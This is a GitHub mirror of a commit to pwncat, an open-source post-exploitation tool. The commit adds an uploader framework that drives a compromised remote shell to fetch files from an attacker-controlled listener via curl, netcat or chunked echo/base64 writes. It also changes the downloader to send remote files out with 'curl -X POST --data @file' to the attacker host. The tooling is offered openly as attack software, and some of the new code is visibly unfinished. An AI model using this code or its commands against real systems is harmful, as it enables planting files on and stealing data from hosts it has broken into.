1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-27 19:04:15 +01:00

Added working uploader framework

This commit is contained in:
Caleb Stewart 2020-05-07 16:50:46 -04:00
parent dfb5b26157
commit edf478b93d
8 changed files with 298 additions and 58 deletions

View File

@ -15,20 +15,20 @@ def find(pty: "pwncat.pty.PtyHandler", hint: str = None) -> Type[Downloader]:
""" Locate an applicable downloader """
if hint is not None:
""" Try to return the requested downloader """
# Try to return the requested downloader
for d in all_downloaders:
if d.NAME != hint:
continue
d.check(pty)
return d
else:
raise DownloadError(f"{hint}: no such downloader")
raise DownloadError(f"{hint}: no such downloader")
for d in downloaders:
try:
d.check(pty)
return d
except DownloadError as e:
except DownloadError:
continue
try:

View File

@ -18,4 +18,4 @@ class CurlDownloader(HTTPDownloader):
curl = self.pty.which("curl")
remote_path = shlex.quote(self.remote_path)
self.pty.run(f"{curl} --output {remote_path} http://{lhost}:{lport}")
self.pty.run(f"{curl} -X POST --data @{remote_path} http://{lhost}:{lport}")

View File

@ -13,7 +13,7 @@ import sys
import os
from pwncat import util
from pwncat import downloader
from pwncat import downloader, uploader
class State(enum.Enum):
@ -317,18 +317,10 @@ class PtyHandler:
def do_upload(self, argv):
""" Upload a file to the remote host """
downloaders = {
"curl": ("http", "curl --output {outfile} http://{lhost}:{lport}/{lfile}"),
"wget": ("http", "wget -O {outfile} http://{lhost}:{lport}/{lfile}"),
"nc": ("raw", "nc {lhost} {lport} > {outfile}"),
}
servers = {"http": util.serve_http_file, "raw": util.serve_raw_file}
parser = argparse.ArgumentParser(prog="upload")
parser.add_argument(
"--method",
"-m",
choices=downloaders.keys(),
default=None,
help="set the download method (default: auto)",
)
@ -346,36 +338,25 @@ class PtyHandler:
# The arguments were parsed incorrectly, return.
return
if self.vars.get("lhost", None) is None:
util.error("[!] you must provide an lhost address for reverse connections!")
return
if not os.path.isfile(args.path):
util.error(f"[!] {args.path}: no such file or directory")
util.error(f"{args.path}: no such file or directory")
return
if args.method is not None and args.method not in self.known_binaries:
util.error(f"{args.method}: method unavailable")
elif args.method is not None:
method = downloaders[args.method]
else:
method = None
for m, info in downloaders.items():
if m in self.known_binaries:
util.info("uploading via {m}")
method = info
break
else:
util.warn(
"no available upload methods. falling back to echo/base64 method"
)
try:
# Locate an appropriate downloader class
UploaderClass = uploader.find(self, args.method)
except uploader.UploadError as exc:
util.error(f"{exc}")
return
path = args.path
basename = os.path.basename(args.path)
name = basename
outfile = args.output.format(basename=basename)
with ProgressBar("uploading") as pb:
upload = UploaderClass(self, remote_path=outfile, local_path=path)
with ProgressBar(f"uploading via {upload.NAME}") as pb:
counter = pb(range(os.path.getsize(path)))
last_update = time.time()
@ -389,27 +370,8 @@ class PtyHandler:
if (time.time() - last_update) > 0.1:
pb.invalidate()
if method is not None:
server = servers[method[0]](path, name, progress=on_progress)
command = method[1].format(
outfile=shlex.quote(outfile),
lhost=self.vars["lhost"],
lfile=name,
lport=server.server_address[1],
)
result = self.run(command, wait=False)
else:
server = None
with open(path, "rb") as fp:
self.run(f"echo -n > {outfile}")
copied = 0
for chunk in iter(lambda: fp.read(8192), b""):
encoded = base64.b64encode(chunk).decode("utf-8")
self.run(f"echo -n {encoded} | base64 -d >> {outfile}")
copied += len(chunk)
on_progress(copied, len(chunk))
upload.serve(on_progress)
upload.command()
try:
while not counter.done:
@ -417,8 +379,7 @@ class PtyHandler:
except KeyboardInterrupt:
pass
finally:
if server is not None:
server.shutdown()
upload.shutdown()
# https://github.com/prompt-toolkit/python-prompt-toolkit/issues/964
time.sleep(0.1)

View File

@ -0,0 +1,38 @@
#!/usr/bin/env python3
from typing import Type
from pwncat.uploader.base import Uploader, UploadError
from pwncat.uploader.nc import NetcatUploader
from pwncat.uploader.curl import CurlUploader
from pwncat.uploader.shell import ShellUploader
all_uploaders = [NetcatUploader, CurlUploader, ShellUploader]
uploaders = [NetcatUploader, CurlUploader]
fallback = ShellUploader
def find(pty: "pwncat.pty.PtyHandler", hint: str = None) -> Type[Uploader]:
""" Locate an applicable uploader """
if hint is not None:
# Try to return the requested uploader
for d in all_uploaders:
if d.NAME != hint:
continue
d.check(pty)
return d
raise UploadError(f"{hint}: no such uploader")
for d in uploaders:
try:
d.check(pty)
return d
except UploadError:
continue
try:
fallback.check(pty)
return fallback
except:
raise UploadError("no acceptable uploaders found")

160
pwncat/uploader/base.py Normal file
View File

@ -0,0 +1,160 @@
#!/usr/bin/env python3
from typing import Generator, Callable
from http.server import BaseHTTPRequestHandler, HTTPServer
from socketserver import TCPServer, BaseRequestHandler
from functools import partial
import threading
import socket
from pwncat import util
class UploadError(Exception):
""" An error occurred while attempting to run a uploader """
class Uploader:
# Binaries which are needed on the remote host for this uploader
BINARIES = []
@classmethod
def check(cls, pty: "pwncat.pty.PtyHandler") -> bool:
""" Check if the given PTY connection can support this uploader """
for binary in cls.BINARIES:
if pty.which(binary) is None:
raise UploadError(f"required remote binary not found: {binary}")
def __init__(self, pty: "pwncat.pty.PtyHandler", remote_path: str, local_path: str):
self.pty = pty
self.local_path = local_path
self.remote_path = remote_path
def command(self) -> Generator[str, None, None]:
""" Generate the commands needed to send this file. This is a
generator, which yields strings which will be executed on the remote
host. """
return
def serve(self, on_progress: Callable):
""" Start any servers on the local end which are needed to download the
content. """
return
def shutdown(self):
""" Shutdown any attacker servers that were started """
return
class HttpGetFileHandler(BaseHTTPRequestHandler):
def __init__(
self, request, addr, server, uploader: "HTTPUploader", on_progress: Callable
):
self.uploader = uploader
self.on_progress = on_progress
super(HttpGetFileHandler, self).__init__(request, addr, server)
def do_GET(self):
""" handle http POST request """
if self.path != "/":
self.send_error(404)
return
length = os.path.getsize(self.uploader.local_path)
self.send_response(200)
self.send_header("Content-Length", str(length))
self.send_header("Content-Type", "application/octet-stream")
self.end_headers()
with open(self.uploader.local_path, "rb") as filp:
util.copyfileobj(filp, self.wfile, self.on_progress)
def log_message(self, *args, **kwargs):
return
class HTTPUploader(Uploader):
""" Base class for HTTP POST based downloaders. This takes care of setting
up the local HTTP server and saving the file. Just provide the commands
for the remote host to trigger the upload """
@classmethod
def check(cls, pty: "pwncat.pty.PtyHandler") -> bool:
""" Make sure we have an lhost """
if pty.vars.get("lhost", None) is None:
raise UploadError("no lhost provided")
def __init__(
self, pty: "pwncat.pty.PtyHandler", remote_path: str, local_path: str,
):
super(HTTPUploader, self).__init__(pty, remote_path, local_path)
self.server = None
def serve(self, on_progress: Callable):
self.server = HTTPServer(
("0.0.0.0", 0),
partial(HttpGetFileHandler, downloader=self, on_progress=on_progress),
)
thread = threading.Thread(
target=lambda: self.server.serve_forever(), daemon=True
)
thread.start()
def shutdown(self):
self.server.shutdown()
class RawUploader(Uploader):
""" Base class for raw socket based downloaders. This takes care of setting
up the socket server and saving the file. Just provide the commands to
initiate the raw socket transfer on the remote host to trigger the
upload """
@classmethod
def check(cls, pty: "pwncat.pty.PtyHandler") -> bool:
""" Make sure we have an lhost """
if pty.vars.get("lhost", None) is None:
raise UploadError("no lhost provided")
def __init__(
self, pty: "pwncat.pty.PtyHandler", remote_path: str, local_path: str,
):
super(RawUploader, self).__init__(pty, remote_path, local_path)
self.server = None
def serve(self, on_progress: Callable):
# Make sure it is accessible to the subclass
local_path = self.local_path
class SocketWrapper:
def __init__(self, sock):
self.s = sock
def write(self, n: int):
try:
return self.s.sendall(n)
except socket.timeout:
return b""
# Class to handle incoming connections
class ReceiveFile(BaseRequestHandler):
def handle(self):
self.request.settimeout(1)
with open(local_path, "rb") as filp:
util.copyfileobj(filp, SocketWrapper(self.request), on_progress)
self.request.close()
self.server = TCPServer(("0.0.0.0", 0), ReceiveFile)
thread = threading.Thread(
target=lambda: self.server.serve_forever(), daemon=True
)
thread.start()
def shutdown(self):
""" Shutdown the server """
self.server.shutdown()

21
pwncat/uploader/curl.py Normal file
View File

@ -0,0 +1,21 @@
#!/usr/bin/env python3
from typing import Generator
import shlex
from pwncat.uploader.base import HTTPUploader
class CurlUploader(HTTPUploader):
NAME = "curl"
BINARIES = ["curl"]
def command(self) -> Generator[str, None, None]:
""" Generate the curl command to post the file """
lhost = self.pty.vars["lhost"]
lport = self.server.server_address[1]
curl = self.pty.which("curl")
remote_path = shlex.quote(self.remote_path)
self.pty.run(f"{curl} --output {remote_path} http://{lhost}:{lport}")

21
pwncat/uploader/nc.py Normal file
View File

@ -0,0 +1,21 @@
#!/usr/bin/env python3
from typing import Generator
import shlex
from pwncat.uploader.base import RawUploader
class NetcatUploader(RawUploader):
NAME = "nc"
BINARIES = ["nc"]
def command(self) -> Generator[str, None, None]:
""" Return the commands needed to trigger this download """
lhost = self.pty.vars["lhost"]
lport = self.server.server_address[1]
nc = self.pty.which("nc")
remote_file = shlex.quote(self.remote_path)
self.pty.run(f"{nc} -q0 {lhost} {lport} > {remote_file}")

39
pwncat/uploader/shell.py Normal file
View File

@ -0,0 +1,39 @@
#!/usr/bin/env python3
from typing import Generator, Callable
import base64
import shlex
from pwncat.uploader.base import Uploader, UploadError
class ShellUploader(Uploader):
NAME = "shell"
BINARIES = ["base64"]
BLOCKSZ = 8192
def command(self) -> Generator[str, None, None]:
""" Yield list of commands to transfer the file """
remote_path = shlex.quote(self.remote_path)
# Empty the file
self.pty.run(f"echo -n > {remote_path}")
with open(self.local_path, "rb") as filp:
copied = 0
for block in iter(lambda: filp.read(self.BLOCKSZ), b""):
# Encode as a base64 string
encoded = base64.b64encode(block).decode("utf-8")
# Read the data
self.pty.run(f"echo -n {encoded} | base64 -d >> {remote_path}")
copied += len(block)
self.on_progress(copied, len(block))
def serve(self, on_progress: Callable):
""" We don't need to start a server, but we do need to save the
callback """
self.on_progress = on_progress